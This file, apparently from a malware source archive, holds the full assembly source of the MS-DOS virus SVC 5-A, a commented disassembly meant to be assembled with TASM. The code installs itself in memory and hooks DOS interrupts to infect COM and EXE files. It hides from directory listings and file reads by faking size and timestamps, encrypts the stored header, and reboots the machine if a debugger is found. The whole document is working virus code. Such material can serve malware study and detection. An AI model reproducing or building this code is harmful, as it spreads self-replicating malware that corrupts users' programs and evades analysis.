MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.svc5-a.asm
2021-01-12 17:58:25 -06:00

1378 lines
51 KiB
NASM

.model tiny
.code
; SVC 5-A
; Disassembly done by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m SVC5-A
org 0
start:
call next
next:
pop si
db 83h,0EEh,3 ; sub si,offset next
mov word ptr cs:[si+offset storeAX],ax
push es
push si
xor dx,dx
mov ah,84h ; installation check
int 21h
pop si
push si
cmp dx,1990h
jne installvirus
cmp bh,byte ptr cs:[si+versionbyte]
ja go_exitvirus
jc installvirus
push si
push es
xchg ah,al ; convert ax to virus
xor ax,0FFFFh ; CS
mov es,ax ; es->resident virus
push cs
pop ds
xor di,di
mov cx,begindata - start - 1; same version?
cld
repe cmpsb
pop es
pop si
jz go_exitvirus ; yes, exit
jmp reboot ; else reboot
go_exitvirus:
jmp exitvirus
installvirus:
push es
xor ax,ax
mov ds,ax
les ax,dword ptr ds:21h*4 ; save old int 21h
mov cs:[si+oldint21],ax ; handler
mov word ptr cs:[si+oldint21+2],es
les ax,dword ptr ds:8*4 ; save old int 8 handler
mov cs:[si+oldint8],ax
mov word ptr cs:[si+oldint8+2],es
pop es
mov cs:[si+carrierPSP],es ; save current PSP
mov ah,49h ; Release memory @ PSP
int 21h
jc exitvirus ; exit on error
mov ah,48h ; Find total memory size
mov bx,0FFFFh
int 21h
sub bx,(viruslength+15)/16+1; shrink allocation for carrier
jc exitvirus
mov cx,es ; compute new memory
stc ; block location
adc cx,bx
mov ah,4Ah ; Allocate memory for carrier
int 21h
mov bx,(viruslength+15)/16
stc
sbb es:[2],bx ; fix high memory field in PSP
mov es,cx
mov ah,4Ah ; Allocate memory for virus
int 21h
mov ax,es ; Go to virus MCB
dec ax
mov ds,ax
mov word ptr ds:[1],8 ; mark owner = DOS
mov ax,cs:[si+carrierPSP] ; go back to carrier PSP
dec ax ; go to its MCB
mov ds,ax
mov byte ptr ds:[0],'Z' ; mark it end of block
push cs
pop ds
xor di,di ; copy virus to high memory
mov cx,viruslength + 1
cld
rep movsb
xor ax,ax
mov ds,ax
cli ; and set up virus
mov word ptr ds:21h*4,offset int21
mov word ptr ds:21h*4+2,es ; interrupt handlers
mov word ptr ds:8*4,offset int8
mov word ptr ds:8*4+2,es
exitvirus:
sti
push cs
pop ds
pop si
push si
mov ah,byte ptr cs:[si+offset encryptval1]
mov dh,byte ptr cs:[si+offset encryptval2]
add si,offset savebuffer
call decrypt
pop si
pop es
cld
cmp cs:[si+offset savebuffer],'ZM'
je returnEXE
mov di,100h
push cs
pop ds
push cs
pop es
push si
add si,offset savebuffer
movsb
movsw
pop si
mov ax,100h
push ax
mov ax,word ptr cs:[si+offset storeAX]
retn
returnEXE:
mov bx,es
add bx,10h
add bx,cs:[si+savebuffer+16h]
mov word ptr cs:[si+jmpcs],bx
mov bx,cs:[si+savebuffer+14h]
mov word ptr cs:[si+jmpip],bx
mov bx,es
mov ds,bx
add bx,10h
add bx,cs:[si+savebuffer+0eh]
cli
mov ss,bx
mov sp,cs:[si+savebuffer+10h]
sti
mov ax,word ptr cs:[si+offset storeAX]
db 0EAh ; jmp far ptr
jmpip dw 0
jmpcs dw 0
int21:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov word ptr cs:int21command,ax
cmp word ptr cs:int21command,4B03h ; load/no PSP
je _load_noexecute
cmp word ptr cs:int21command,4B01h ; load/no execute
je _load_noexecute
cmp word ptr cs:int21command,4B00h ; load/execute
je _load_execute
cmp ah,3Dh ; handle open
je _handleopen
cmp ah,3Eh ; handle close
je _handleclose
cmp ah,40h ; handle write
je _handlewrite
cmp ah,4Ch ; terminate
je _terminate
jmp short exitint21
nop
_terminate:
jmp terminate
_handlewrite:
jmp handlewrite
_load_noexecute:
jmp load_noexecute
_handleclose:
jmp handleclose
_handlecreate:
jmp handlecreate
_load_execute:
jmp load_execute
_handleopen:
jmp handleopen
_FCBfindfirstnext:
jmp FCBfindfirstnext
_ASCIIfindfirstnext:
jmp ASCIIfindfirstnext
_handlegoEOF:
jmp handlegoEOF
_handleopen2:
jmp handleopen2
_handleread:
jmp handleread
_getsetfiletime:
jmp getsetfiletime
return:
retn
load_execute_exit:
call restoreint24and23
jmp short exitint21
nop
restoreint24and23:
xor ax,ax
mov ds,ax
mov ax,cs:oldint24
mov ds:24h*4,ax
mov ax,cs:oldint24+2
mov word ptr ds:24h*4+2,ax
mov ax,cs:oldint23
mov ds:23h*4,ax
mov ax,cs:oldint23+2
mov word ptr ds:23h*4+2,ax
retn
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ah,3Ch ; handlecreate
je _handlecreate
cmp ah,83h ; installation check for
je old_installation_check ; other versions of SVC
cmp ah,84h ; installation check for
je installation_check ; this version of SVC
cmp ah,4Eh ; find first?
je _ASCIIfindfirstnext
cmp ah,4Fh ; find next?
je _ASCIIfindfirstnext
cmp ah,11h ; find first
je _FCBfindfirstnext
cmp ah,12h ; find next
je _FCBfindfirstnext
cmp ax,4202h ; go EOF
je _handlegoEOF
cmp ah,3Dh ; handle open
je _handleopen2
cmp ah,3Fh ; handle read
je _handleread
cmp ah,57h ; get/set file time
je _getsetfiletime
popf ; chain to original int
jmp dword ptr cs:oldint21 ; 21h handler
callint21:
cli
pushf
call dword ptr cs:oldint21
retn
installation_check:
popf
mov bh,cs:versionbyte
mov ax,cs
xor ax,0FFFFh
xchg ah,al
common_installation_check_return:
mov dx,1990h
iret
old_installation_check:
popf
jmp short common_installation_check_return
popdsdx_return:
pop dx
pop ds
jmp return
load_execute:
call check_chkdsk
call infectdsdx
jmp load_execute_exit
infectdsdx:
call setint24and23
jmp short infectdsdx_continue
nop
setint24and23:
xor ax,ax
mov es,ax
les ax,dword ptr es:24h*4
mov cs:oldint24,ax
mov cs:oldint24+2,es
xor ax,ax
mov es,ax
les ax,dword ptr es:23h*4
mov cs:oldint23,ax
mov cs:oldint23+2,es
xor ax,ax
mov es,ax
mov word ptr es:24h*4,offset int24
mov word ptr es:24h*4+2,cs
mov word ptr es:23h*4,offset int23
mov word ptr es:23h*4+2,cs
retn
infectdsdx_continue:
push ds
push dx
cmp byte ptr cs:tickcount,3Ch ; don't infect too early
jb popdsdx_return ; after previous one
mov ax,4300h ; get file attributes
call callint21
jc popdsdx_return
mov cs:fileattr,cx
and cl,0FEh ; turn off r/o bit
mov ax,4301h ; and reset file attributes
call callint21
jc popdsdx_return
mov cx,cs:fileattr
and cl,4 ; test cl,4
cmp cl,4 ; check system attribute
je infecthandle_exit ; exit if set
mov ax,3D02h ; open file read/write
call callint21
jc infecthandle_exit
mov bx,ax ; handle to bx
push dx ; save file name pointer
mov ax,5700h ; get file time/date
call callint21
pop dx
and cx,1Eh ; check if seconds = 60
cmp cx,1Eh ; (infection marker)
jne infect_dsdx_checkmo ; continue if not so marked
jmp short infecthandle_alreadyinfected
nop
infect_dsdx_checkmo:
call check_command_com
jnc infecthandle
jmp short infecthandle_alreadyinfected
nop
check_command_com:
cld
mov si,dx
check_command_com_loop:
lodsw
cmp ax,'MM' ; COMMAND.COM?
je check_command_com_yes
cmp ax,'mm'
je check_command_com_yes
cmp ax,'MB' ; IBMBIO/IBMDOS?
je check_command_com_yes
cmp ax,'mb'
je check_command_com_yes
cmp ah,0
je check_command_com_no
dec si
jmp short check_command_com_loop
check_command_com_yes:
stc
retn
check_command_com_no:
clc
retn
infecthandle_exit:
jmp popdsdx_return
infecthandle:
cmp bx,5 ; check if handle too
jb infecthandle_exit ; small (predefined)
call checkifinfected
jnc infecthandle_alreadyinfected
call infect_handle
infecthandle_alreadyinfected:
mov ah,3Eh ; Close file
call callint21
pop dx
pop ds
jc infecthandle_exit2
mov ax,4301h ; restore file attributes
mov cx,cs:fileattr
call callint21
infecthandle_exit2:
jmp return
infect_handle_exit:
jmp infect_handle_error
infect_handle:
mov ax,5700h ; get file time/date
call callint21
mov cs:filetime,cx
mov cs:filedate,dx
xor cx,cx
xor dx,dx
mov ax,4200h ; go to start of file
call callint21
push cs
pop ds
mov cx,18h ; read header
mov dx,offset savebuffer
mov ah,3Fh
call callint21
jc infect_handle_exit
push cs
pop es
push cs
pop ds
mov si,offset savebuffer ; copy to work buffer
mov di,offset workbuffer
mov cx,18h
cld
rep movsb
mov ax,2C00h
call callint21
mov byte ptr cs:encryptval2,dh
mov byte ptr cs:encryptval1,dl
mov ah,dl
mov si,offset savebuffer
call decrypt
cmp cs:workbuffer,'ZM' ; check if EXE
je infect_handle_EXE
mov cs:workbuffer,0E9h ; encode the jmp
xor cx,cx
xor dx,dx
mov ax,4202h ; get file size
call callint21
cmp dx,0
jne infect_handle_exit
cmp ax,viruslength
jb infect_handle_exit
cmp ax,0EDE1h ; check if too large
jae infect_handle_exit
sub ax,3 ; adjust size to jmp location
mov word ptr cs:workbuffer+1,ax
call writevirusandheader ; write virus to file
jmp infect_handle_finish
writevirusandheader:
push cs
pop ds
xor dx,dx
mov cx,viruslength
mov ah,40h ; concatenate virus
call callint21
jc writevirusandheader_exit
cmp ax,viruslength
jne writevirusandheader_exit
xor cx,cx
xor dx,dx
mov ax,4200h ; go to start of file
call callint21
jc writevirusandheader_exit
mov dx,offset workbuffer ; write new header to file
mov ah,40h
mov cx,18h
call callint21
retn
writevirusandheader_exit:
stc
retn
infect_handle_EXE:
xor cx,cx ; go to end of file
xor dx,dx
mov ax,4202h
call callint21
push dx ; save file size
push ax
mov si,ax
xor ax,ax
xchg ax,dx
mov di,1000h
mul di
mov dx,ax
mov ax,si
mov si,dx
xor dx,dx
mov di,10h ; convert to paragraphs
div di
add ax,si
xchg ax,dx
sub dx,cs:workbuffer+8 ; subtract header size
mov word ptr cs:workbuffer+16h,dx ; insert new initial
mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
pop ax
pop dx
add ax,viruslength ; calculate new image
adc dx,0 ; size mod 512 and div 512
mov di,200h
div di
cmp dx,0
je infect_handle_EXE_nofixup
add ax,1 ; pagelength fixup
infect_handle_EXE_nofixup:
mov cs:workbuffer+4,ax
mov cs:workbuffer+2,dx
mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP
mov word ptr cs:workbuffer+0Eh,ds
mov ax,word ptr cs:workbuffer+14h
add ax,17D7h
mov word ptr cs:workbuffer+10h,ax
call writevirusandheader ; write virus to file
jmp short infect_handle_finish
nop
infect_handle_error:
stc
infect_handle_finish:
mov ax,5701h ; restore file time/date
mov cx,cs:filetime
mov dx,cs:filedate
jc infect_handle_noreset
and cx,0FFFEh ; but set seconds to
or cx,1Eh ; 60
mov byte ptr cs:tickcount,0 ; reset tickcount
infect_handle_noreset:
call callint21
retn
int23:
iret
int24:
mov al,3
iret
load_noexecute_exit:
jmp load_noexecute_closeexit
load_noexecute:
call setint24and23
push ds
push dx
mov ax,4300h ; get file attributes
call callint21
jc load_noexecute_exit
mov cs:fileattr,cx
and cl,0FEh ; turn off r/o bit
mov ax,4301h ; reset attributes
call callint21
jc load_noexecute_exit
mov ax,3D02h ; open file read/write
call callint21
jc load_noexecute_exit
mov bx,ax ; handle to bx
call checkifinfected
jc load_noexecute_exit
jmp short load_noexecute_disinfect
nop
checkifinfected_exit:
stc ; mark infected
retn ; and exit
checkifinfected:
mov ax,5700h ; get file time/date
call callint21
mov cs:filedate,dx
mov cs:filetime,cx
and cx,1Fh
cmp cx,1Eh
jne checkifinfected_exit
xor cx,cx
xor dx,dx
mov ax,4202h ; go to end of file
call callint21
jc checkifinfected_exit
mov cs:filesizelo,ax ; save filesize
mov cs:filesizehi,dx
sub ax,endvirus - infection_marker
sbb dx,0
mov cx,ax
xchg cx,dx
mov ax,4200h ; rewind to infection
call callint21 ; marker
jc checkifinfected_exit
push cs
pop ds
mov ah,3Fh ; read file
mov cx,3
mov dx,offset savebuffer
call callint21
jc checkifinfected_exit
push cs
pop es
mov si,offset savebuffer ; check for infection
mov di,offset infection_marker
mov cx,3 ; marker
repne cmpsb
jnz checkifinfected_exit
clc ; mark not infected
retn ; and exit
load_noexecute_disinfect:
call disinfect
jmp load_noexecute_closeexit
disinfect_exit:
jmp disinfect_error
disinfect:
mov dx,cs:filesizelo
mov cx,cs:filesizehi
sub dx,75h ; go to savebuffer
nop
sbb cx,0
mov ax,4200h
call callint21
jc disinfect_exit
jmp short disinfect_file
nop
jmp load_noexecute_closeexit
disinfect_file:
push cs
pop ds
mov ah,3Fh ; Read carrier's
mov cx,18h ; original header
mov dx,offset savebuffer
push cs
pop ds
call callint21
jc disinfect_exit
mov dx,cs:filesizelo ; go to decryption
mov cx,cs:filesizehi ; values
sub dx,endvirus - encryptval1
nop
sbb cx,0
mov ax,4200h
call callint21
mov dx,offset encryptval1
mov ah,3Fh ; read decryption values
mov cx,2
call callint21
mov si,offset savebuffer
mov ah,byte ptr cs:encryptval1
mov dh,byte ptr cs:encryptval2
call decrypt ; decrypt old header
xor cx,cx
xor dx,dx
mov ax,4200h
call callint21
jc disinfect_error
mov ah,40h ; Write old header to
mov cx,18h ; file
mov dx,offset savebuffer
call callint21
jc disinfect_error
mov dx,cs:filesizelo
mov cx,cs:filesizehi
sub dx,viruslength
sbb cx,0 ; go to end of carrier
mov ax,4200h ; file and
call callint21
jc disinfect_error
mov ah,40h ; truncate file
xor cx,cx ; at current position
call callint21
jc disinfect_error
mov ax,5701h ; restore file time/date
mov dx,cs:filedate
mov cx,cs:filetime
xor cx,1Fh
call callint21
retn
disinfect_error:
stc ; mark error
retn
load_noexecute_closeexit:
mov ah,3Eh ; Close file and
call callint21
mov ax,4301h ; restore attributes
mov cx,offset fileattr ; BUG!!!
pop dx
pop ds
call callint21
call restoreint24and23
jmp exitint21
FCBfindfirstnext:
call dword ptr cs:oldint21 ; prechain
pushf
pop cs:returnFlags
cmp al,0FFh
je FCBfindfirstnext_exit
cmp cs:chkdskflag,0
jne FCBfindfirstnext_exit
push ax
push bx
push cx
push dx
push es
push ds
mov ah,2Fh ; Get DTA
call callint21
cmp word ptr es:[bx],0FFh ; extended FCB?
jne FCBfindfirstnext_noextendedFCB
add bx,8 ; convert if so
FCBfindfirstnext_noextendedFCB:
mov ax,es:[bx+16h]
and ax,1Fh ; check if seconds = 60
cmp ax,1Eh
jne FCBfindfirstnext_notinfected
xor word ptr es:[bx+16h],1Fh; fix seconds field
sub word ptr es:[bx+1Ch],viruslength
sbb word ptr es:[bx+1Eh],0 ; shrink size
FCBfindfirstnext_notinfected:
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
FCBfindfirstnext_exit:
pop cs:storesIP
pop cs:storesCS
popf
push cs:returnFlags
push cs:storesCS
push cs:storesIP
iret
ASCIIfindfirstnext:
call dword ptr cs:oldint21 ; prechain
pushf
pop cs:returnFlags
jc ASCIIfindfirstnext_exit
cmp cs:chkdskflag,0
jne ASCIIfindfirstnext_exit
push ax
push bx
push cx
push dx
push es
push ds
mov ah,2Fh ; Get DTA
call callint21
mov ax,es:[bx+16h] ; get file time
and ax,1Fh ; to check if file
cmp ax,1Eh ; infected
jne ASCIIfindfirstnext_notinfected
xor word ptr es:[bx+16h],1Fh ; hide time change
sub word ptr es:[bx+1Ah],viruslength; and file length
sbb word ptr es:[bx+1Ch],0 ; change
ASCIIfindfirstnext_notinfected:
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ASCIIfindfirstnext_exit:
pop cs:storesIP
pop cs:storesCS
popf
push cs:returnFlags
push cs:storesCS
push cs:storesIP
iret
handleopen:
call check_infectok
jnc handleopen_continue
jmp exitint21
check_infectok:
cld
mov si,dx
lodsw
cmp ah,':'
jne check_infectok_nodrive
cmp al,'a' ; make sure not floppy
je check_infectok_exit
cmp al,'A'
je check_infectok_exit
cmp al,'B'
jb check_infectok_exit ; BUG
cmp al,'b'
je check_infectok_exit
jmp short check_extension
nop
check_infectok_exit:
jmp short check_extension_notok
nop
check_infectok_nodrive:
mov ah,19h ; get default drive
call callint21
cmp al,2 ; make sure not floppy
jae check_extension
jmp short check_extension_notok
db 90h
check_extension:
cld
mov si,dx
check_extension_findextension:
lodsb
cmp al,'.'
je check_extension_foundextension
cmp al,0
jne check_extension_findextension
jmp short check_extension_notok
db 90h
check_extension_foundextension:
lodsw
cmp ax,'OC'
je check_extension_checkcom
cmp ax,'oc'
je check_extension_checkcom
cmp ax,'XE'
je check_extension_checkexe
cmp ax,'xe'
je check_extension_checkexe
jmp short check_extension_notok
db 90h
check_extension_checkcom:
lodsb
cmp al,'M'
je check_extension_ok
cmp al,'m'
je check_extension_ok
jmp short check_extension_notok
db 90h
check_extension_checkexe:
lodsb
cmp al,'E'
je check_extension_ok
cmp al,'e'
je check_extension_ok
jmp short check_extension_notok
db 90h
check_extension_ok:
clc
retn
check_extension_notok:
stc
retn
handleopen_continue:
call infectdsdx
call restoreint24and23
jmp exitint21
handlecreate:
mov word ptr cs:storess,ss ; preserve ss and sp
mov word ptr cs:storesp,sp
call dword ptr cs:oldint21
cli
mov ss,word ptr cs:storess
mov sp,word ptr cs:storesp
sti
pop cs:returnFlags ; save return flags
pushf
push ax
push bx
push cx
push ds
push es
push si
push di
jc handlecreate_exit
push dx
push ax
call check_extension
pop ax
pop dx
jc handlecreate_exit
push ax
call check_command_com
pop ax
jc handlecreate_exit
mov cs:handletoinfect,ax ; save handle to infect
; upon close
handlecreate_exit:
pop di
pop si
pop es
pop ds
pop cx
pop bx
pop ax
jmp exit_replaceflags
handleclose_exit:
mov cs:filehand,0
jmp exitint21
handleclose:
cmp bx,0
jne handleclose_continue
jmp exitint21
handleclose_continue:
cmp bx,cs:handletoinfect
je handleclose_infect
cmp bx,cs:filehand
je handleclose_exit
jmp exitint21
handleclose_infect:
mov ah,45h ; Duplicate file handle
call callint21
jc handleclose_infect_exit
xchg ax,bx
call setint24and23
call handleclose_infecthandle
call restoreint24and23
handleclose_infect_exit:
mov cs:handletoinfect,0
jmp exitint21
handleclose_infecthandle:
push ds
push dx
jmp infecthandle
int8:
push ax
push ds
pushf
cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
je int8checkint1
inc cs:tickcount ; one mo tick
int8checkint1:
xor ax,ax
mov ds,ax
cmp word ptr ds:1*4,offset int1 ; int 1 changed?
jne int8setint1 ; fix it if so
mov ax,cs
cmp word ptr ds:1*4+2,ax
jne int8setint1
int8checkint3:
cmp word ptr ds:3*4,offset int3 ; int 3 changed?
jne int8setint3 ; fix it if so
mov ax,cs
cmp word ptr ds:3*4+2,ax
jne int8setint3
exitint8:
popf
pop ds
pop ax
jmp dword ptr cs:oldint8
int8setint1:
push es
les ax,dword ptr ds:1*4
mov cs:oldint1,ax
mov word ptr cs:oldint1+2,es
mov word ptr ds:1*4,offset int1
mov word ptr ds:1*4+2,cs
pop es
jmp short int8checkint3
int8setint3:
push es
les ax,dword ptr ds:3*4
mov cs:oldint3,ax
mov word ptr cs:oldint3+2,es
mov word ptr ds:3*4,offset int3
mov word ptr ds:3*4+2,cs
pop es
jmp short exitint8
int3: ; reboot if debugger
push bp ; is active
push ax
mov bp,sp
add bp,6
mov bp,[bp]
mov ax,cs
cmp bp,ax
pop ax
pop bp
jz reboot
jmp dword ptr cs:oldint3
exitint1:
iret
int1:
push bp ; this routine doesn't
push ax ; do very much that's
mov bp,sp ; meaningful
add bp,6
mov bp,[bp]
mov ax,cs
cmp bp,ax
pop ax
pop bp
jz exitint1
jmp dword ptr cs:oldint1
reboot:
db 0EAh ; jmp F000:FFF0
db 0F0h, 0FFh, 0, 0F0h ; (reboot)
decrypt:
push bx
push es
call decrypt_next
decrypt_next:
pop bx
mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
nop
mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh
nop
push ds
pop es
mov di,si
mov cx,18h
cld
decrypt_loop:
lodsb
db 0FFh, 0C4h ; inc sp
stosb
db 0, 0E6h ; add dh,ah
loop decrypt_loop
mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp
mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why?
pop es
pop bx
retn
handlegoEOF:
popf
cmp cs:filehand,bx ; currently working on this?
jne handlegoEOFexit
mov cs:tempstoreDX,dx ; save offset from EOF
mov cs:tempstoreCX,cx
xor cx,cx
xor dx,dx
call callint21 ; go to EOF
sub ax,viruslength ; shrink to carrier size
sbb dx,0
mov cx,ax
xchg cx,dx
add dx,cs:tempstoreDX ; add offset from carrier
adc cx,cs:tempstoreCX ; EOF
mov ax,4200h ; and do it
handlegoEOFexit:
jmp dword ptr cs:oldint21
handleopen2:
call dword ptr cs:oldint21
pushf
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
jc handleopen2_exit
cmp cs:filehand,0
jne handleopen2_exit
push ax
mov bx,ax
call checkifinfected
pop ax
jc handleopen2_alreadyinfected
mov cs:filehand,ax ; save file handle for
mov bx,ax ; later use
mov ax,4202h ; go to end of file
xor cx,cx ; to find file size
xor dx,dx
call callint21
sub ax,viruslength ; calculate carrier
sbb dx,0 ; size and store it
mov cs:carrierEOFhi,dx
mov cs:carrierEOFlo,ax
handleopen2_alreadyinfected:
xor cx,cx ; go to start of file
xor dx,dx
mov ax,4200h
call callint21
handleopen2_exit:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
exit_replaceflags:
popf
pop cs:storesIP
pop cs:storesCS
pop cs:returnFlags
pushf
push cs:storesCS
push cs:storesIP
iret
handleread_exit:
jmp handleread__exit
handleread:
call dword ptr cs:oldint21 ; prechain
pushf
push ax
push cx
push dx
push ds
push di
push si
push es
jc handleread_exit ; exit on error
cmp cs:filehand,0
je handleread_exit
cmp cs:filehand,bx
jne handleread_exit
mov cs:bufferoff,dx
mov cs:bufferseg,ds
mov cs:bytesread,ax
xor cx,cx ; get current file position
xor dx,dx
mov ax,4201h
call callint21
jc handleread_exit
sub ax,cs:bytesread ; find pre-read location
sbb dx,0 ; to see if need to
mov cs:origposhi,dx ; redirect it
mov cs:origposlo,ax
mov ax,4202h ; go to end of file
xor cx,cx
xor dx,dx
call callint21
sub ax,viruslength
sbb dx,0
mov cs:carrierEOFlo,ax
mov cs:carrierEOFhi,dx
cmp cs:origposhi,0 ; check if read was
jne handleread_notinheader ; from the header
cmp cs:origposlo,18h
jb handleread_inheader
handleread_notinheader:
mov cx,cs:origposhi ; check if read extended
mov dx,cs:origposlo ; into the virus
add dx,cs:bytesread
adc cx,0
cmp cx,cs:carrierEOFhi
jb handleread_notinvirus
ja handleread_invirus
cmp dx,cs:carrierEOFlo
ja handleread_invirus
handleread_notinvirus:
mov cx,cs:origposhi ; return to proper file
mov dx,cs:origposlo ; position
add dx,cs:bytesread
adc cx,0
mov ax,4200h
call callint21
handleread__exit:
pop es
pop si
pop di
pop ds
pop dx
pop cx
pop ax
jmp exit_replaceflags
handleread_invirus:
jmp handleread__invirus
handleread_inheader:
cmp cs:bytesread,0
je handleread_notinheader
mov cx,cs:carrierEOFhi
mov dx,cs:carrierEOFlo
add dx,offset savebuffer
adc cx,0
mov ax,4200h
call callint21
jc handleread_notinheader
push ds
pop es
push cs
pop ds
mov dx,offset savebuffer
mov ah,3Fh ; Read header
mov cx,18h
call callint21
jc handleread_notinheader
cmp ax,18h
jne handleread_notinheader
mov cx,cs:carrierEOFhi ; go to decryption values
mov dx,cs:carrierEOFlo
add dx,offset encryptval1
adc cx,0
mov ax,4200h
call callint21
mov ah,3Fh ; read decryption values
mov cx,2
mov dx,offset encryptval1
call callint21
jc handleread_inheader_error
mov si,offset savebuffer
mov ah,byte ptr cs:encryptval1
mov dh,byte ptr cs:encryptval2
call decrypt
mov cx,cs:origposlo
neg cx
add cx,18h
cmp cx,cs:bytesread
jb handleread_inheader_noadjust
mov cx,cs:bytesread
handleread_inheader_noadjust:
mov si,offset savebuffer ; copy previously read
add si,cs:origposlo ; stuff if necessary
mov di,cs:bufferoff
mov es,cs:bufferseg
cld
cmp cx,0
je handleread_inheader_nomove
rep movsb
handleread_inheader_nomove:
jmp handleread_notinheader
handleread_inheader_error:
jmp handleread_notinheader
handleread__invirus:
mov cx,cs:origposhi
cmp cx,cs:carrierEOFhi
ja handleread__invirus_gocarrierEOF
jc handleread__invirus_readpart
mov cx,cs:origposlo
cmp cx,cs:carrierEOFlo
jb handleread__invirus_readpart
handleread__invirus_gocarrierEOF:
mov cx,cs:origposhi
mov dx,cs:origposlo
mov ax,4200h
call callint21
xor ax,ax
handleread__invirus_exit:
pop es
pop si
pop di
pop ds
pop dx
pop cx
pop cs:returnFlags
jmp exit_replaceflags
handleread__invirus_readpart:
mov cx,cs:carrierEOFhi ; read portion of
mov dx,cs:carrierEOFlo ; file up to virus
mov ax,4200h
call callint21
sub ax,cs:origposlo
jmp short handleread__invirus_exit
handlewrite:
cmp bx,0
je handlewrite_exit
cmp bx,cs:filehand
jne handlewrite_exit
mov ax,4201h ; get current position
xor cx,cx ; in the file
xor dx,dx
call callint21
jc handlewrite_exit
mov cs:curposlo,ax
mov cs:curposhi,dx
mov ax,4202h ; go to end of file
xor cx,cx ; to find the filesize
xor dx,dx
call callint21
mov cs:filesizelo,ax
mov cs:filesizehi,dx
call disinfect ; disinfect the file
jc handlewrite_done
cmp cs:handletoinfect,0
jne handlewrite_done
mov cs:handletoinfect,bx
mov cs:filehand,0
handlewrite_done:
mov dx,cs:curposlo ; return to original
mov cx,cs:curposhi ; position
mov ax,4200h
call callint21
handlewrite_exit:
jmp exitint21
terminate:
mov cs:chkdskflag,0
jmp exitint21
check_chkdsk:
mov si,dx
cld
check_chkdsk_loop1:
lodsw
cmp ah,0
je check_chkdsk_exit
cmp ax,'HC'
je check_chkdsk_loop2
cmp ax,'hc'
je check_chkdsk_loop2
dec si
jmp short check_chkdsk_loop1
check_chkdsk_exit:
retn
check_chkdsk_loop2:
push si
lodsw
cmp ax,'DK'
pop si
jz check_chkdsk_found
cmp ax,'dk'
je check_chkdsk_found
dec si
jmp short check_chkdsk_loop1
check_chkdsk_found:
mov cs:chkdskflag,1
retn
getsetfiletime:
cmp al,0 ; get file tiem?
jne getsetfiletime_exit ; nope, exit
call dword ptr cs:oldint21 ; prechain
pushf
and cx,1Eh ; if (seconds == 60)
cmp cx,1Eh ; then xor with 60h
jne getsetfiletime_nofix ; to hide the change
xor cx,1Eh ; otherwise, don't
getsetfiletime_nofix:
jmp exit_replaceflags
getsetfiletime_exit:
popf
jmp dword ptr cs:oldint21
db '(c) 1990 by SVC,Vers. '
infection_marker db '5.0 ',0
begindata:
oldint1 dw 0, 0
oldint3 dw 0, 0
oldint8 dw 0, 0
oldint21 dw 0, 0
savebuffer dw 20CDh
dw 11 dup (0)
tickcount db 0
carrierPSP dw 0
origposlo dw 0
origposhi dw 0
carrierEOFlo dw 0
carrierEOFhi dw 0
bytesread dw 0
bufferoff dw 0
bufferseg dw 0
tempstoreCX dw 0
tempstoreDX dw 0
filehand dw 0
fileattr dw 0
filetime dw 0
filedate dw 0
chkdskflag dw 0
oldint24 dw 0, 0
oldint23 dw 0, 0
handletoinfect dw 0
storesIP dw 0
storesCS dw 0
returnFlags dw 0
filesizelo dw 0
filesizehi dw 0
curposlo dw 0
curposhi dw 0
workbuffer dw 12 dup (0)
storeAX dw 0
db 0
storess dw 0
storesp dw 0
int21command dw 0
encryptval1 db 0
encryptval2 db 0
dw 1990h ; written 1990
versionbyte db 50h ; version 5.0
endvirus = $
viruslength = $ - start
end start